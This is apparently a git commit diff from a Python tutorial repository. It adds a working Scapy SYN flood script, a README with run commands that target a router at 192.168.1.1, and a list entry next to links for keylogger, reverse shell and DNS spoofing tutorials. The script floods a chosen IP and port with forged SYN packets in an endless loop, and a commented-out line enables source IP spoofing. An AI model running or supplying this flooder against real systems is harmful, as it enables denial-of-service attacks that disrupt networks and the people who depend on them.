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added SYN flooding attack tutorial

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`@@ -14,6 +14,7 @@ This is a repository of all the tutorials of [The Python Code](https://www.thepy`
`14`	`14`	`-[Writing a DNS Spoofer](https://www.thepythoncode.com/article/make-dns-spoof-python). ([code](scapy/dns-spoof))`
`15`	`15`	`-[How to Sniff HTTP Packets in the Network using Scapy in Python](https://www.thepythoncode.com/article/sniff-http-packets-scapy-python). ([code](scapy/http-sniffer))`
`16`	`16`	`-[How to Build a WiFi Scanner in Python using Scapy](https://www.thepythoncode.com/article/building-wifi-scanner-in-python-scapy). ([code](scapy/wifi-scanner))`
	`17`	`+-[How to Make a SYN Flooding Attack in Python](https://www.thepythoncode.com/article/syn-flooding-attack-using-scapy-in-python). ([code](scapy/syn-flood))`
`17`	`18`	`-[Writing a Keylogger in Python from Scratch](https://www.thepythoncode.com/article/write-a-keylogger-python). ([code](ethical-hacking/keylogger))`
`18`	`19`	`-[Making a Port Scanner using sockets in Python](https://www.thepythoncode.com/article/make-port-scanner-python). ([code](ethical-hacking/port_scanner))`
`19`	`20`	`-[How to Create a Reverse Shell in Python](https://www.thepythoncode.com/article/create-reverse-shell-python). ([code](ethical-hacking/reverse_shell))`

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	`1`	`+#[How to Make a SYN Flooding Attack in Python](https://www.thepythoncode.com/article/syn-flooding-attack-using-scapy-in-python)`
	`2`	`+To run this:`
	`3`	+-`pip3 install -r requirements.txt`
	`4`	`+- Run help:`
	`5`	+```
	`6`	`+ python syn_flood.py --help`
	`7`	+ ```
	`8`	`+ Output:`
	`9`	+ ```
	`10`	`+ usage: syn_flood.py [-h] [-p PORT] target_ip`
	`11`	`+`
	`12`	`+ Simple SYN Flood Script`
	`13`	`+`
	`14`	`+ positional arguments:`
	`15`	`+ target_ip Target IP address (e.g router's IP)`
	`16`	`+`
	`17`	`+ optional arguments:`
	`18`	`+ -h, --help show this help message and exit`
	`19`	`+ -p PORT, --port PORT Destination port (the port of the target's machine`
	`20`	`+ service, e.g 80 for HTTP, 22 for SSH and so on).`
	`21`	+ ```
	`22`	`+- To run this against your router's web interface that has the IP address of 192.168.1.1:`
	`23`	+ ```
	`24`	`+ python syn_flood.py -p 80 192.168.1.1`
	`25`	+ ```

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	`1`	`+scapy`

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	`1`	`+fromscapy.allimport*`
	`2`	`+importargparse`
	`3`	`+`
	`4`	`+parser=argparse.ArgumentParser(description="Simple SYN Flood Script")`
	`5`	`+parser.add_argument("target_ip",help="Target IP address (e.g router's IP)")`
	`6`	`+parser.add_argument("-p","--port",help="Destination port (the port of the target's machine service,\`
	`7`	`+e.g 80 for HTTP, 22 for SSH and so on).")`
	`8`	`+# parse arguments from the command line`
	`9`	`+args=parser.parse_args()`
	`10`	`+# target IP address (should be a testing router/firewall)`
	`11`	`+target_ip=args.target_ip`
	`12`	`+# the target port u want to flood`
	`13`	`+target_port=args.port`
	`14`	`+# forge IP packet with target ip as the destination IP address`
	`15`	`+ip=IP(dst=target_ip)`
	`16`	`+# or if you want to perform IP Spoofing (will work as well)`
	`17`	`+# ip = IP(src=RandIP("192.168.1.1/24"), dst=target_ip)`
	`18`	`+# forge a TCP SYN packet with a random source port`
	`19`	`+# and the target port as the destination port`
	`20`	`+tcp=TCP(sport=RandShort(),dport=target_port,flags="S")`
	`21`	`+# add some flooding data (1KB in this case, don't increase it too much,`
	`22`	`+# otherwise, it won't work.)`
	`23`	`+raw=Raw(b"X"*1024)`
	`24`	`+# stack up the layers`
	`25`	`+p=ip/tcp/raw`
	`26`	`+# send the constructed packet in a loop until CTRL+C is detected`
	`27`	`+send(p,loop=1,verbose=0)`

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